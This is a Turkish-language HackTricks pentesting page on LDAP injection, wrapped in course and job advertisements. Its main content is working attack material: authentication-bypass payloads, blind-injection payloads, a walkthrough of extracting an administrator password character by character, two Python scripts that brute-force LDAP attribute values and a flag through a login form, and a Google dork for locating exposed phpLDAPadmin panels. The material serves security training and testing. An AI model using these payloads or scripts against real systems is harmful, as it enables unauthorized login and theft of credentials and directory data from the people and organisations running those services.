9.7 KiB
LDAP Enjeksiyonu
LDAP Enjeksiyonu
AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- [The PEASS Family]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel NFT'lerimiz koleksiyonumuzu
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
LDAP Enjeksiyonu
LDAP
LDAP'nin ne olduğunu öğrenmek istiyorsanız aşağıdaki sayfaya erişin:
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %} pentesting-ldap.md {% endcontent-ref %}
LDAP Enjeksiyonu, kullanıcı girdilerinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişleri doğru bir şekilde temizlemediğinde, saldırganların yerel bir proxy aracılığıyla LDAP ifadelerini manipüle etmelerine izin vererek yetkisiz erişime veya veri manipülasyonuna yol açabilir.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
Filtre = ( filtercomp )
Filtercomp = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
Filterlist = 1*filter
Item= simple / present / substring
Simple = attr filtertype assertionvalue
Filtertype = '=' / '~=' / '>=' / '<='
Present = attr = *
Substring = attr ”=” [initial] * [final]
Initial = assertionvalue
Final = assertionvalue
(&) = Mutlak DOĞRU
(|) = Mutlak YANLIŞ
Örneğin:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
Veritabanına erişebilir ve bu farklı türlerde birçok bilgi içerebilir.
OpenLDAP: 2 filtre geldiğinde sadece ilkini yürütür.
ADAM veya Microsoft LDS: 2 filtre ile hata verirler.
SunOne Directory Server 5.0: Her iki filtre de yürütülür.
Filtreyi doğru sözdizimiyle göndermek çok önemlidir, aksi takdirde bir hata alınır. Sadece 1 filtre göndermek daha iyidir.
Filtre, &
veya |
ile başlamalıdır
Örnek: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
Sonra: (&(objectClass=
*)(ObjectClass=*))
ilk filtre olacaktır (yürütülen filtre).
Giriş Atlatma
LDAP, şifreyi saklamak için çeşitli formatları destekler: açık, md5, smd5, sh1, sha, crypt. Bu nedenle, şifre içine ne koyarsanız koyun, muhtemelen hashlenir.
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
Listeler
Kör LDAP Enjeksiyonu
Herhangi bir veri döndürülüp döndürülmediğini kontrol etmek için Yanıltıcı veya Doğru yanıtlar zorlayabilir ve olası bir Kör LDAP Enjeksiyonunu doğrulayabilirsiniz:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Veri dökümü
Ascii harfleri, rakamlar ve semboller üzerinde döngü oluşturabilirsiniz:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
Betikler
Geçerli LDAP alanlarını keşfedin
LDAP nesneleri varsayılan olarak birkaç öznitelik içerir ve bu öznitelikler bilgi saklamak için kullanılabilir. Bu bilgiyi çıkarmak için tüm öznitelikleri kaba kuvvet uygulayabilirsiniz. Varsayılan LDAP özniteliklerinin bir listesini burada bulabilirsiniz.
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
Özel Kör LDAP Enjeksiyonu ("*" olmadan)
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Google Dorks
Google Dorks
intitle:"phpLDAPadmin" inurl:cmd.php
Daha Fazla Yükleme
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
Eğer hacking kariyerine ilgi duyuyorsan ve hacklenemez olanı hacklemek istiyorsan - işe alıyoruz! (akıcı şekilde Lehçe yazılı ve konuşma gereklidir).
{% embed url="https://www.stmcyber.com/careers" %}
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.